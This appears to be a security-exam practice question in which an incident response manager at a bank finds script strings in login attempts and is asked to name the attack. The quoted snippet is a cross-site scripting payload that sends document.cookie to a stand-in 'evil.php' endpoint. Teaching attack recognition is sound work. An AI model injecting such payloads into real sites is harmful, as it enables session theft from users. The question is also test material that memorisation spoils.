You are the incident response manager at a regional bank. While performing routine auditing of web application logs, you find several attempted login submissions that contain the following strings:
< SCRIPT type="text/javascript" >
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
< /SCRIPT >
What kind of attack has occurred?